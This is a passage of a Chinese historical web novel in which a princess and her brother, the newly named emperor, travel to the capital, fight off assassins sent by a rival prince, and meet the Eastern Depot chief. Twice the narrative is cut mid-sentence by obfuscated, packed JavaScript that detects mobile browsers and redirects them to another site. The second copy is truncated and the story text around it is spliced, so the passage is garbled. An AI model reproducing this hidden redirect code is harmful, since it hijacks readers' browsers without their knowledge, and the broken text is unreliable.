赵琦上前接过郁离手中的银枪,拿在手中细细摩挲着:“可惜我娘不在了。” “王妃要是还在,见到咱王爷当了皇帝,不知得有多高兴。” 赵琦跟着先宁王妃练枪时,郁离和府中护卫家仆的孩子时常来看热闹,有那想学的宁王妃也从不吝惜一并教导。那时郁离方五岁,小小一个便跟着一群大孩子一起扎马步,用特制的短木枪练招,乐此不疲。是以郁离虽早已记不清先宁王妃的模样,但谈到她时总是充满了孺慕之情。 文竹进府的时候,宁王妃已过世多年,她虽未亲见,但观女若母,又常听府中人提起,如何想不出是怎生豪情的女子。 “娘娘虽看不到,郡主能走出去,娘娘也必定十分欣慰。”文竹温声开解。 赵琦收了枪,笑着问她二人:“收拾得如何了?” 文竹回道:“春夏的衣裳我各收拾了七八套,并着五套头面,其余日用只拣了紧要的带上,王爷的亦是一样。路上应急的银两备了八百两,安阳县主恐京里居大不易,担心咱们手头不够松散,另添了十个金元宝,二十个金锭。” “也太多了些,哪里就要备这么多银子,金锭留下一半,余下的和元宝退回库里,留着府里使。” 她现下虽已不管家,但到底掌家中中馈多年,府中收支了然于心。藩王府一应供给皆由朝廷发放,除此之外只有些封赏的田地收租纳粮。虽说吃穿不愁,现钱却是不多的。既要养着一府的人口吃穿,还要维持涯舟书院的开销,哪里就阔绰到能让她拿走上千两金银。 况先文太妃在世时,自愧一应吃穿用度取之于民,而王府中又个个都是闲人,于国无益于民无利,是以定下规矩,府中一应用度,需得节俭,万不可肆意挥霍。 赵琦自小耳濡目染,于银钱上俭省惯了,若不是此番头回去京,恐多有打点应急之事,八百两她都嫌带多了。 文竹答应着,又道:“府里护院郁离只挑了十来个好手,余下的仍旧各司其职,俱都托付给了常教头。咱们院里的人除了我和郁离,暂且都留在府中听信,由孙嬷嬷代管。此外,只方嬷嬷和金总管跟咱们一道走,他们都是府里的老人,先也是从京里跟出来的,方嬷嬷又在宫中待过多年,宫中规矩多,或可提点一二。涯舟书院那我刚也着人去知会了,事发突然,也来不及道别了。郡主看看还有何遗漏的,我带人立刻去添补办理。” 仓促之间难为她还能想得如此周到,连方嬷嬷也想到了。 方嬷嬷本是侍奉文太妃的老人,文太妃过世后赵琦感念她随侍一生的情谊,本是想就在府中为她养老的。但老人家心性豁达,不服老,非要去城郊的家庙住,说是既能为文太妃祈福,闲时还可漫游山野,吟诗作画,倒比闲在府中自在。赵琦无法,只得留了个丫头在她身边照顾,时不时去看望她。 她一把抱住文竹,笑道:“好文竹,没有你我可如何是好。” 文竹心底一软,扬眉笑道:“难不成郡主还有打发我出去的念头?晚了,如今纵是八抬大轿请我我也不走了。” “郡主,文竹姐姐,郁离也不能没有你们。” 郁离说着也一把将两人抱住,扬着脸好一阵撒娇耍赖。 三人闹了一会儿,赵琮那边也已收拾妥当,他只带了王府长史左青山,贴身侍奉的修德和自小一处玩大现如今是他的贴身护卫的卫宪三人,余下的俱都暂且留府听信。 赵琦将府中留守的管事召至正厅,牵着赵琼的手走到众人面前,沉声道。 “王爷和我现下离府,往后安阳县主便是这府中的管事人,各位都是府里的老人,琼儿年纪还小,府中诸事还需仰仗各位帮扶。太夫人和两位县主就有劳各位照顾,待京城诸事妥当,再请护送上京。” 萧太夫人此刻仍旧难以置信,只觉一切如梦似幻,俱不真切,听见往后便由自己的女儿管家,又抑制不住的欢喜。转念一想如今宁王已经成了皇帝,她虽不是生母,但好歹也是这府中唯一的长辈,一个太妃还是当得的,小小一个宁王府的中馈,便也不如先时在意了。 王府之人眼下个个喜不自胜,俱都欢喜应命:“郡主只管放心,老奴等定会恪尽职守,必不负郡主和王爷所托。” 赵琼红着眼睛一路送赵琦赵琮出了府。 “阿姐,府中你不必挂心,我会照顾好太夫人和三妹妹她们,你和琮儿一路当心,虽是赶路也不要太累着。” 赵琼虽是萧太夫人生养,但先文太妃待她们姊妹俱都一样,她自小也是跟在长姐身边长大。生平初尝离别滋味,年纪又小,自是依依不舍。 赵琦又何尝舍得,她笑着揉了揉赵琼的头安慰道:“傻丫头,阿姐和琮儿只是先行一步,很快就再见了,你一哭琳儿就更停不下来了。” 长乐县主赵琳才九岁,依依不舍地拉着赵琦的衣袖抽噎:“大姐姐,琳儿会好生听二姐姐的话,大姐姐要记得想琳儿,琳儿也会想你的,还有琮哥哥。” 赵琦蹲下抱了抱她,拿帕子替她擦掉眼泪温声轻哄:“琳儿真乖,大姐姐记下了,等大姐姐和哥哥安顿好了,就回来接琳儿,不哭了。” 赵琮觑眼看到妹妹小心翼翼地看了他一眼,想亲近又不敢亲近的模样,迟疑了瞬,学着阿姐的样子伸手揉了揉她的头。 郑秉看天色已晚,再不出发只怕赶不上投宿,不得不出声煞煞风景。 “王爷,郡主,时候不早了,还得赶路,就请上车吧。” 出发的时刻到了,纵有千言万语未尽,也终须一别。 赵琦最后回望了眼宁王府,转身和赵琮上车离去。 快出城时,车队忽然徐徐停住。原来是得了信的知府徐经领着境内一众大小文官武将跪在城门口送别,沿途还有许多看热闹的百姓,声势浩荡,不可谓不壮观。 郑秉挑了挑眉,收紧缰绳勒住马,抬手止住车队,偏头对落在身后半步的修德道:“烦请公公禀报王爷郡主一声。” 他这话纯粹是客套,即便他不说也早有宁王府的人去回禀了。 赵琦掀开车帘向外看时,卫宪正快步过来,拧眉问。 “王爷,郡主,徐知府率众跪在城门口,说是要给你们送行,见是不见?” 赵琦错眼望去,果然好大的阵仗,不由挑眉,这徐经还真是消息灵通,传位的圣旨进府不过两三个时辰,他就张罗好了这么一帮子人过来围堵。 赵琮倒是一贯的波澜不惊,看也不看,只吩咐道:“让人都散了吧,就说心意本王领了,好生爱护百姓,才是正事。” 卫宪领命回去告诉修德。郑秉在旁听来,愈发觉得这宁王府有些意思,无论是宁王还是朝平郡主,与他往常认识的皇亲贵胄都大不相同。 徐经当了一辈子的地方官,历经两朝,这辈子唯一一次面圣还是殿试的时候,当时唯恐直视圣颜触了天威,往后却是再也没了机会,谁曾想这辈子自己的管辖地会冒出个皇帝来。 他按捺着激动的心情等着前方马车里未来帝王的回应,却等来一句心意已领,当即心一凉,绞尽脑汁回想往日可曾有得罪宁王府之处。 “下官领命,下官自当爱民如子,不负王爷所托。” 见他几十岁的人了,却慌得犹如热锅上的蚂蚁,满头满脸的大汗,修德心下软了软,顾念着他往日为官尚算勤勉,温声道:“大人不必多心,只需做好分内事,回去吧。” 徐经知他是赵琮身边近身侍奉的人,听出话音中的安抚之意,心下稍安,也不敢再阻拦,谢过修德之后立刻领着一众官员退至道路两边,让出城门,恭声叩送。 “恭送王爷,郡主。” 车队重新出发,出了城后便快马加鞭上了官道,当日在离城三十里的一处驿站投宿。谁知天不亮驿站外又跪了一地人,皆是邻近府县的官员特来送行的。 这回不止来了许多人,还带了数不清的奇珍异宝并金银说要上供给赵琮,聊表心意。一车一车的金银宝物,只看得宁王府一众随行人员眼花缭乱,叹为观止。 赵琮不耐烦地将人通通赶了走,只命修德叮嘱他们好生勤政爱民方是正事。岂料晚间投宿,驿站门口又等了一批携礼送行的队伍,如此两次三番杜而不绝,不过才投了三回宿,便遇上了五批拦路送礼的,更有甚者直接在沿途的官道上死守,唯恐错过了千载难逢的面圣良机。 赵琦和赵琮初时还只是烦不胜烦,三番五次之后心底的涟漪渐渐汇成了汹涌波涛。 这一车车的金银珠宝,古玩字画,该是多少民脂民膏。这便是大历如今的为官风气,俱是投机谄媚之辈,政绩荒废,全无正心,光想着用金银打点讨好圣心以求升官发财,生生把个徐经都衬托得一身正气了。 往日多只是耳闻,如今亲见亲历,不禁叫人思之发寒,这朝廷到底成了怎生模样? 为了避开沿途巴结送礼的官员,赵琦和赵琮下令不再投宿途中的驿站,除了遇雨不得不留城投宿外,一律行到何处便在那处就地安营扎寨。 这日行至汝宁府境内,照旧在林中安营扎寨。更深露重时,忽闻得帐外惊起一阵宿鸟夜鸦,接着便听守夜的侍卫大喊:“有刺客,保护王爷和郡主!” 这一路风餐露宿,虽辛苦,却也是平生不遇之经历,赵琦难免兴奋,夜间便也只是浅眠,听见喊叫声立时警醒过来,一跃而起,扬手扯过铺盖旁的外衣披上便拎刀跃出了帐外,直奔右侧紧连着的赵琮的营帐。 卫宪本是挺刀防备,见掀帘之人是赵琦方才放下戒备忙出声回道:“郡主放心,王爷无事。” 他原就担着赵琮的守卫之职,一路行来虽则太平,夜间也仍旧和衣而眠十分警醒,亦是听到喊叫声就过来了。 赵琦一手握着营帘,听见这话心下稍安。 营帐内点着一盏小油灯,赵琮明显是被吵醒的,面色不善,倒还算镇定,正蹙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735151|174051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着眉披衣起身,见到赵琦,他面色方才缓了缓。 修德本就和卫宪同帐,卫宪起身他便也跟着警醒,落后半步出帐时正迎面撞上听见动静奔将出来的文竹和郁离。他几人对视一眼,本欲先各寻其主,将将迈步扭头便看见了已抢先一步奔至赵琮营帐的赵琦,俱都松了口气,立时快步围了过去。 “郡主...” 赵琦放下帘布回身抬手止住,蹙眉回望时,只见已有数十个身着夜行衣的蒙面人举刀持剑杀入了营地。 这些黑衣人武艺俱都极为高强,饶是这回跟着护送的都是大内高手中的佼佼者,从府中带出的亦都是好手,招架得也都十分狼狈。郑秉一行近侍也已和领头的几个黑衣人打成了一团,往来过招间处处杀机。 文竹方嬷嬷左长史和金总管俱都不会功夫,修德也只会些粗浅的拳脚,此刻营地一片混乱,赵琦凝眉速速吩咐:“修德郁离,你们去接方嬷嬷左长史和金总管。” 赵琮也已掀帘出来,看清营地的情状后眼底发沉,听见黑衣人里有人高声喊叫‘其他人别管,先杀宁王!’时面色也还镇定。 赵琦却是面色倏地一沉。 “卫宪,保护好王爷和文竹!” 话音未落她人已飞身出去,迎上一个举刀扑将过来的黑衣人,拔刀便砍,那黑衣人见她挥刀之势猛不可挡,忙挺刀格挡。 “阿姐!” 赵琮脸色一变,要拦已是来不及,扭头吩咐卫宪:“去帮郡主。” 卫宪蹙眉看着营地里犹如潮水般从四面八方涌进来的蒙面杀手,立时也想上前帮忙,但到底知道孰轻孰重,眼下听郡主的吩咐保护好王爷才是最要紧的事。 他横刀挡在赵琮身前,目光警觉地环视着四周,一面小心提防一面沉声回道:“恕属下不能从命,我答应了郡主要保护好王爷,决不能离开王爷半步。” 赵琮被他拦住去路,又拿他无法,抿紧双唇此刻唯有暗恨自己不会武艺,反倒成了累赘。他目光紧随着赵琦的身影,片刻不敢眨眼。 好在赵琦武艺高强,刀法又精湛,腾转挪移间十分灵巧,转眼已放倒了数个黑衣人,应付得游刃有余。 那行蒙面杀手见赵琦眨眼间便杀了他们四五个兄弟,看出她是此中武艺最高强之人,互相使了个眼色,扔下与之纠缠的大内侍卫,七八个人一起围将过来,举刀持剑便向赵琦砍来。 “阿姐小心!” 赵琮将将放下的心忽又提起,被卫宪拦着进不得前。 “卑鄙小人!” 赵琦冷笑一声,闪开四刀,身形晃动,迎上从右抢出的一剑,身随剑走,抓住持剑那人的手腕大力一折,与此同时右手连劈带格,转瞬便又伤了三人。 “郡主我来帮你。” 郁离送了方嬷嬷等人到赵琮身边后,立时便飞身来帮赵琦。她挺刀隔开赵琦身后一人,刀锋去势不止,反手横刀直砍过去。 她主仆二人多年默契,转眼又杀倒了五六个蒙面人。 赵琮见此,方才稍稍镇定下来。 方嬷嬷等人虽平生未见过此等阵仗,略显慌乱,但也知道眼下最要紧的是务必保护好赵琮。他几人忙将赵琮护在中心,修德则在外围和卫宪一前一后小心戒备。 赵琦主仆十分凶悍,杀退围攻她们的蒙面杀手后,便分头去帮那些力有不逮的侍卫府卫。 她一入场,对方便有些难以应付。 局势正当扭转时,林中高树上忽有个忽男忽女的声音笑道:“好生没用,都快被人家杀尽了。” 蒙面杀手中似是领头的一个一面与赵琦缠斗一面恨声回那人:“来了还不快帮忙!” 那忽男忽女的声音嘻嘻笑道:“对人家好凶,谁叫你们心急不等人家就行动。” 还有闲心说话,赵琦冷笑连连,手中长刀愈挥愈快。忽听林中萧声骤起,她不觉蹙眉,不过片刻的功夫,只见密密麻麻的蛇群自四面八方吐着信爬将进来。 那些蒙面杀手显是提前服用过了防蛇的药物,并不躲避蛇群。 宵小鼠辈,尽使些卑鄙手段。 赵琦一面挥刀御敌一面还要躲避蛇群攻击,招式已不如方才得心应手。眼看着已方已有不少人被毒蛇咬中,应声倒地,赵琦不由恨极,杀意愈发凌厉,正杀红眼时,林中忽然响起一道与萧声对抗的笛声,那些蛇群忽的刷刷如潮水般退回林中。 没等赵琦弄明白是怎么回事,林中忽的马嘶鹊鸣,紧跟着窜出数十个穿青织金锦服的厂卫,拔刀便向黑衣人砍去,不肖片刻,林中局势已然扭转。 赵琦挺刀戒备,只见紧随厂卫之后从马上跳将下一个着绯色蟒袍的青年,快步走至她面前拜伏叩首。 “臣焦勖,叩见郡主!臣护驾来迟,请郡主责罚。” 原来是大名鼎鼎的东厂提督。 赵琦蹙眉,目光在焦勖满身金贵却掩不住仆仆风尘的衣袍上倾巡了一圈,方才缓缓开口:“请起吧。” 环顾四周,东厂厂卫已将蒙面杀手团团围住,只余十数人仍在做困兽之斗。 赵琦收了刀,眸光恰巧扫过焦勖的脸,只见他长眉入鬓,目似流星,肤白若天山之雪,唇艳如霞蔚云蒸,容貌之秀丽艳绝,就连眉目如画四字也实难描摹一二,尤其一身气度,是即便满身尘土也掩不住的温润。 一个人杀人不眨眼的东厂头子,居然生得温眉软目,当真是讽刺。 难怪老祖宗常说切不可以貌取人,赵琦嗤笑一声,撇开眼去。 7. 第 7 章 赵琦撇开眼去,眸光落在满地七零八落的残肢断臂上,持刀的手不自觉地僵了一瞬。 她生平虽最爱行侠仗义,但还从未杀过人,杀意最盛的那次,也只砍了许茂几刀,最后也没杀成。 今夜是她第一次杀人,方才情势危急,她无暇多想,此刻看着满营地横七竖八的尸体,身上传来的血腥味令人几欲作呕,杀人的感觉并不好。 正自恶心时,忽闻身后传来一阵干呕声,余光便瞥见郁离捂着嘴大步奔至林边狂呕不止。赵琦忽的就忍不住了,丢下一句‘留活口’便紧随其后至林边吐了起来。 正吐得额角突突的疼时,余光忽的瞥见斜后方伸出一只瓷白的手,赵琦眸光一沉,未及细想便猛地伸手钳住那只手腕用力扭住了。 那人吃痛闷哼一声,赵琦才看清他手里握着的是一方锦帕。她连忙松手,偏头望去,原来是焦勖。 方才看他翻身下马时极为利落她还以为他必定有些武艺在身,谁曾想竟是半点功夫也不会的人。幸好方才发现对方没有内力时她立时泄了劲,否则但凡她多用一分力,他的手腕便也折了。 手指上还残留着一点温润细腻的触感,赵琦轻瞥了眼正不着痕迹轻揉着腕子的焦勖,暗暗蹙眉,这人平日是没吃饭么,手腕那么细,都不够她捏的。 虽是这么想着,到底也是自己误伤了人,赵琦忙歉声道:“对不住,弄伤你了?” 她此刻语气温和,连带着方才照面时的疏离也淡了三分,焦勖不觉抬眸看了她一眼,悄悄将被捏疼的那只手放下遮进宽大的袖袍里,忙道:“臣无碍,是臣方才鲁莽了,还请郡主见谅。” 说罢迟疑了一瞬,他还是将手里的帕子又往前递了递:“郡主若不介意,请...” 话未说完帕子已被赵琦伸手接了过去。 “多谢。” 赵琦谢过,偏过头自去擦拭嘴角沾染的秽物,鼻端的异香较之方才更甚,与身后那人身上的味道如出一辙,赵琦握着帕子的手忽的一顿,复又继续擦拭起来。 用都用了,多想无益,她本就不是扭捏之人,再说此刻确也需要。 二人正无话时,赵琮几人快步寻了过来。 “阿姐,你哪里受伤了?” 一面问一面上下打量,见赵琦外衣上沾染上不少血迹,赵琮的眼睛立时便红了。 “臣焦勖,叩见宁王殿下,殿下千岁千岁千千岁。”焦勖自觉地退至一旁,跪地行了一礼。 赵琮此时的心思全在赵琦身上,恍若未闻,只拉着赵琦问她伤了哪里,重也不重。 “不是我的血。” 赵琦温声安抚,又见焦勖叩伏在地而赵琮全没注意,遂拉了拉他,示意他快叫人起身。 “果真没受伤?” 赵琮还是不放心,怕她恐自己担心有意隐瞒。 赵琦无奈,叉手转了一圈示意自己衣服完好无损,确确实实没有受伤,方才见赵琮脸上的急色退去。 他好似这才注意到焦勖一般,转身看向仍旧恭恭敬敬跪在地上的人,盯着他的眸光冷淡中含着三分打量。 左青山这几日缠着他,将京中有名人口认记了一大半,这其中有原本便耳熟能详的,譬如眼前这位赫赫有名的司礼监掌印兼理东厂提督。 建武帝的心腹宠臣,年纪不过三十,便已掌着权势滔天的司礼监,手握探子满天下的东厂,建武帝在位一十六年,身边多少人起起伏伏,唯他屹立不倒,手中的权利反倒越来越大,可见其心计城府之深沉。如今装出这副恭顺的模样,无非是倚靠的大树倒了,巴巴地来另投新主。 “免礼吧。” 对赵琮的打量,焦勖恍若未察,谢过恩后,便起身敛眉垂首立在赵琮身前,神态恭顺,微微弯着腰,再谦卑不过的一个姿势,一瞬间连面目都好似模糊了。 赵琮盯着垂眉敛目的焦勖看了会儿,悠悠地开口:“东厂的人来得当真及时,看来你们是早知今晚有刺客?” “琮儿。” 见他言语暗含威吓之意,赵琦蹙眉,轻唤了一声阻止。 旁的且先不论,东厂的人毕竟刚救过他们,若不是东厂的人及时赶到,今晚还不知要死伤多少人。一码归一码,东厂固然可恶,眼下的救命之恩也应先还了再说。 赵琮的问话明显笑里藏刀,焦勖又怎会听不出。 他知赵琮有意立威,且有敲打之意,面上只愈发地诚惶诚恐,恭敬地跪地禀道:“臣与冼大人等行至开封时收到密报,献王府预备买凶杀人,是以快马加鞭赶来。臣救驾来迟,让刺客惊扰了王爷和郡主,请王爷责罚。” 赵琮眸光转寒,听见是献王府派来的杀手,面上却无多少惊讶之色。 “是献王叔要杀我们?” 少年眸光如水,噙着凉意的嗓音难辨喜怒。 赵琮的沉稳倒是有些出乎焦勖的意料,如今观他,比之往日藩府呈上来的折中所言还要老成几分,倒是有些意思。 焦勖心中如此想着,面上却是不动声色,只恭敬道:“臣所言句句属实,这是截获的献王府密信,请殿下过目。” 一面说着一面自怀中掏出信件,双手呈上。 听到是献王要杀她们,赵琦怔住了。她望着焦勖自怀中掏出的信报,只觉难以接受。 “果真是献王叔吗?他为什么要...” 那个杀字,赵琦却是怎么也说不出口。 献王和先宁王幼时在宫中亲厚,就藩后彼此不得相见,唯有以书信寄托思念。那么多王叔之中,赵琦最熟悉的便是献王赵慎,她父王过世时,他还特意请旨前来吊唁。甚至就在上月,他还遣人来送过琮儿生辰礼,旧时的情真意切历历在目,为何偏偏是他。 “除了皇位还能有什么。” 赵琮语气平静地接了下去,伸手接过焦勖呈上的信件,拿在手中也不展开。 先帝那么多兄弟,如今建武帝驾崩,自然人人心中都会想,为何不是自己。 赵琦对上弟弟平静如水的目光,只觉喉头好似堵住了一样,什么话都说不出来。 就为了皇位,便可不顾手足亲情,买凶杀害至亲吗?她心中忽觉不寒而栗,心底刚缓下去的那股恶心蓦地又涌上心头。 见她面色发白兀自沉默,赵琮心中不觉叹了口气,阿姐就是太过重情。古往今来,为了皇位骨肉倾轧,手足相残之事比比皆是,更遑论他们不过叔侄而已。 “阿姐,人是会变的,他不值当你难过。” 一语未了,只见郑秉快步走来。 他小心地瞥了一眼独跪在地上的焦勖,暗暗蹙眉,转瞬便又隐去,朝赵琮赵琦拱手道:“禀王爷郡主,刺客俱已全部拿下,请王爷示下,该当如何处置?” 赵琮扫了一眼焦勖,好似事不关己似的回道:“本王现今无官无职,你们自去回禀太后,上报宗室府,该当如何便如何。” 眼下尚未登基,赵琮不欲越过冯太后行事。 焦勖自然听出了他的言外之意,叩首恭声领命。 “焦大人请起吧。” 环顾四周,独他一人还跪着,也着实不像个样子,赵琦敛了敛情绪,叫他起身后,转过头问郑秉:“咱们的人伤亡如何?” “托郡主的福,蛇毒俱已解,咱们这边只十余人伤势略重,暂无性命大碍,余者皆只些皮外伤,上过金疮药养几日便可无碍。左长史现下带着金总管和林公公在帮着伤者止血包扎,卑职已遣人拿了方子快马去城中抓药,请郡主放心。” 总算是没有死人,也算是不幸中的万幸,赵琦悄悄松了口气,连带着也觉得身上那股令人作呕的血腥味也好受了些。 赵琦知左青山原就出生杏林之家,自小就学过医术,只是他有意仕途,后来参加科举做了官,谁知造化弄人,偏被分给了个藩王,藩王府里终年无事,他闲出花了,干脆又重拾祖业,投身进医经药典中,兼了王府大夫一职,时常还免费给城中贫病百姓治病。 是以赵琦并不担心医治的问题,只是受伤的人太多,他们只怕照顾不过来,随即吩咐文竹几人道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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文竹郁离此时也俱都各自梳洗去了,房中只她一人。她眼下也没了睡意,拿布巾将长发擦拭得半干,便任由它披散着懒洋洋地倚在窗边,想着献王,皇位,京城,朝堂,思来想去,反倒俱都成了一团理不清的乱麻。 楼下是一座小巧雅致的庭院,廊下榆柳成荫,中庭的十字夹道两旁遍植桃树,正值桃花盛极的时节,客栈里偏偏又异常安静,不见人声,唯闻得阵阵鸟语,花香扑鼻。 赵琦的目光虚虚地落在正中的一行桃树上,正想得心烦意乱时,只见一个绯色蟒袍的身影穿过花枝的缝隙走了出来。 此时恰好一阵风过,把树枝上的桃花吹下大半,落得那人满头满身都是。 他似是察觉到楼上有人正在看他,蹙眉偏头望过来。桃花灼灼,然而人面却更甚桃花三分,天然一段风流,尽显在他眉目如画的脸上。 赵琦心头忽的怔了怔,莫名觉得此情此景似曾相识,再要细想时,文竹却敲门来唤她。 “郡主,早饭准备好了,现下让人送上来么?” 这一打岔,赵琦心头刹那的异样便自随风消散,再也寻不到半点痕迹。 目光与焦勖的对上,赵琦扬了扬眉,并不掩饰自己方才正在看他,随后翻身跃下塌去,迎上文竹。 “出去吃吧,房里闷得很。” 一面说着一面让文竹帮她梳头。 赵琦只道她见青山多妩媚,却未曾想青山见她亦如是。 白日里比晚间看得要分明,眉眼,神态,没有一样再是他熟悉的,却又分明就是那个人。 窗棂处已然人去无痕,焦勖怔了怔,方才收回视线。身后郑秉落他半步,正在回话,并未看到赵琦,见他忽的止步,因问道:“主子,可是有何不妥?” 焦勖未应,只迈开步子吩咐:“接着说。” 郑秉不敢多问,方继续道:“冼大人已来了信,至多后日晚间便可到汝宁。” “嗯,这两日你将伤员安置妥帖,需留此地的人手安排好。” “是。” “还有,叫汝宁的人这几日不要来扰了郡主和王爷的清净。” 此番入城,打的是东厂的旗号,并未让人知道赵琮亦在此。但即便如此,汝宁境内亦有不少人望风而动,想要来此巴结讨好。 8. 第 8 章 赵琦一行住进来后客栈便已闭门谢客,此时前屋后院俱有东厂厂卫把守,街前巷尾自是人人避之唯恐不及。 赵琦主仆三人行至后院,打眼便见焦勖和郑秉迎面走来,闪避不及之下,赵琦只得顿住步子笑着等焦勖过来见礼。 焦勖略扫了一眼,见她主仆俱都换了外出的衣裳,又是往后院来,遂笑着问:“郡主可是要外出?” 赵琦见问,想到一路来郑秉等近侍和侍卫的小心谨慎,偏昨夜又刚遇过袭,他们奉命前来护送,身上担着责,自是宁肯日规夜劝讨些嫌也绝不会愿冒半点风险,想来焦勖亦是如出一辙,心底已微微不耐。 她平日最烦拘束,本以为又要费一番口舌,怎料焦勖话锋一转,温眉和语地小心同她商量:“城中白日虽说安宁,到底也是生地,郡主若是要外出,不若多带两个护卫随行,也便宜使唤?” 居然不拦。 赵琦微一扬眉,不由多看了他一眼。 只见焦勖微垂着眉眼,两颊潮红,那绯色虽至浓至艳甚是好看,却也分明极不自然。 赵琦的目光定定地落在他脸上,细又打量了一番,再看他敛眉凝目好似浑然不觉只端端正正立在跟前等话,不觉蹙眉。 这哪里是什么可与桃李争艳,这人分明是发着热呢。 “你是不是生着病呢?”未及多想,话已脱口而出。 这话着实唐突,细究又显得亲昵,话音未落,不止焦勖,连她自己也怔住了。 四周静了一瞬,谁也没有则声。 赵琦耳一红,自知失言,又不肯露怯,嘴里忙顺势补救道:“我看焦大人好似在发热,大人昨夜风尘仆仆赶来营救,又是一夜不曾合眼,只怕是着了寒,此去京中,路上少不得多有劳累之处,大人还需保重身体才是。” 焦勖回过神,目光所及处只有她的半扇月白群面,他忽的将眉眼垂得更低,不敢再看,忙施了一礼,面上诚惶诚恐道:“多谢郡主关心,臣体质作怪,每每熬上大夜面上便容易显色,看着唬人,其实不妨事,只略歇歇便好了。郡主若是着急出门,臣便不多耽搁了,臣让郑秉带两个好手随郡主一道,路上若有个提拿跑腿的活,郡主也好使唤。” 赵琦心中本就在懊恼方才鬼迷心窍之言,如何还肯再让焦勖的人跟着,忙开口婉拒。 “大人好意我原不该推辞,只是我本也只近处逛逛,身边带太多人随行未免惹眼,反倒不便了。我便不耽搁大人歇息了。” 她语速极快地说完,也再不给焦勖反应的机会,快步错身行了过去,足下生风,一气便行出了老远。 偏郁离哪壶不开提哪壶,跟在身后傻乎乎地问:“郡主,咱们干嘛走这么快啊?又没人追我们。” 这话一出文竹再也憋不住,弯着腰笑得直停不下来。 她跟了郡主八年,真真是从没见郡主如此慌乱过,方才郡主耳朵都红了。文竹又是新鲜又是好笑,扶着郁离的肩一面喘气一面笑得打颤。 赵琦本还能佯装镇定,文竹这一笑不知怎的反倒叫她心虚起来,耳根又一红,不自在地嗔道:“哪里就有多好笑了。” 郁离听不懂她两个的哑谜,又见文竹笑得停不下来,愈发糊涂了,傻笑着追问道:“好姐姐,什么事这么可乐?你别一个人藏着,也说给我听听?” 文竹勉强止住笑,瞥了一眼耳朵又红了的赵琦。 “我今儿才真真知道,俗语说的‘食色,性也’原是不假。” 她抬手轻刮了下郁离的鼻子,笑道:“傻丫头,你还小呢,等你大了自然就懂了。” 好个牙尖嘴利的丫头,都学会乱用典打趣人了。 赵琦故意把眉一横,嘴上不甘示弱道:“哦?原来有人是今日才知呢,也不知先给人做鞋的是谁。” “做什么鞋?” 郁离又听不懂了。 文竹脸一红,抿着唇不做声了。 让你笑话我,这下老实了吧,赵琦看她羞红了脸,不再拿她打趣,笑着背过身岔开话。 “日头也高了,快些走罢,一会儿该热了。” 郁离小孩心性,想到马上就能出门,立时便将做鞋的事丢在脑后,笑着正要跟上,一偏头,忽然眼睛一亮。 “阿宪哥哥。” 话音未落郁离便笑着跑了过去。 卫宪手里折了枝开得正艳的桃花,本是一面懒洋洋地赏玩一面打着哈欠,听到喊声微微偏头,见是郁离也笑着快走两步拐了过来。 “小离儿你怎么还没去歇着?” “郡主嫌屋里闷,我们正打算出去逛逛。你去喂马了啊?” 卫宪是赵琮乳母的次子,比郁离虚长一岁,两人一个是赵琦的贴身侍女,一个是赵琮的陪读兼玩伴,从小在一处练武玩耍,十分亲厚。 因卫宪素日爱马,十五生辰时,赵琮送了他一匹汗血宝马,他自此疼惜得紧,每每外出使了马儿归来,宁肯自己不吃晚睡,也定要先将马喂好的。 郁离见他这会儿还没歇着,便猜他应是去喂马了。 卫宪打着哈欠点点头,笑着将手里的桃花递给郁离:“送你了小离儿。”边说边走至这边给赵琦见了礼,又冲文竹略一颔首打过招呼。 赵琦见他眼下两个乌青的黑眼圈,穿的还是昨夜那身衣服,笑着打发他快去歇息。 三人来到后门,厂卫见是赵琦,连忙行了礼,听她说要出去时,面上也并未露出任何异色,恭敬地打开门送了她主仆三人出去。 出得门来,赵琦挑眉轻嗤了一声,心道,好快的动作。 这些厂卫一声不问就开了门,倒好像是早知道她要出去,显然是有人提前吩咐过了。 客栈内也是,自她们住进来后,除了各处负责巡逻把守的厂卫和后院张罗饭菜热水的客栈伙计,静得很,即便偶尔有穿梭送物送信的人等也是轻手轻脚,井然有序,如此训练有素,自是非一朝一夕之功。 这东厂倒真有些让她刮目相看了,此般令行禁止,进退有度,又岂是传言中单靠谄媚惑主就能经营得起来的。 后知后觉如郁离也看出端倪了,诧异道:“郡主,这些厂卫居然问也不问就让咱们出来了。” 之前那些大内侍卫都可小心了,郡主但凡想活动活动他们就跟前跟后,问东问西,也忒小心谨慎了,倒像谁是瓷铸的,生怕磕着碰着哪儿,客气是客气,就是太拘着人了,恨不得叫人大气也不喘一个才好。 赵琦一面循着人声往外走一面笑道:“有人招呼过了自然不问,正好省了我的口舌。” 正说着不知谁的肚子先叫了起来,郁离闻着从巷子外飘来的阵阵香味,忍不住吞了吞口水。 她转头可怜巴巴地望着赵琦:“郡主,我饿了。” 一晚上又是打架又是忙前忙后,也该饿了。 三人快步走出巷子,只见临街两旁商户林立,此时又正是早市,街市上行人如梭,十分热闹。 久违的烟火气令赵琦心里松快许多,耳畔南来北往擦身而过的俱是陌生的口音,让人只觉分外新鲜。 赵琦也有分寸,并未走得太远,带着文竹和郁离就近挑了家干净的食肆吃过便回了客栈。 进楼时在夹道上正巧遇上了拎着药膏往回走的左青山,赵琦快走两步笑着迎上前去,嘴里嗔怪道:“您老人家怎么这会儿还没歇着,忙了一晚上了,也得注意点身体。” 左青山笑呵呵地见了礼,摆手道:“年纪大了觉少,不妨事的,左右睡不着就来看看那几个伤重的,能救一命是一命。” 听见后半句,赵琦笑意微敛:“能活命么?” 虽然昨夜郑秉说俱无性命大碍,但若是不幸伤口感染,病情往复也是常有的事,她并不敢太天真,已有了救不活的心里准备。 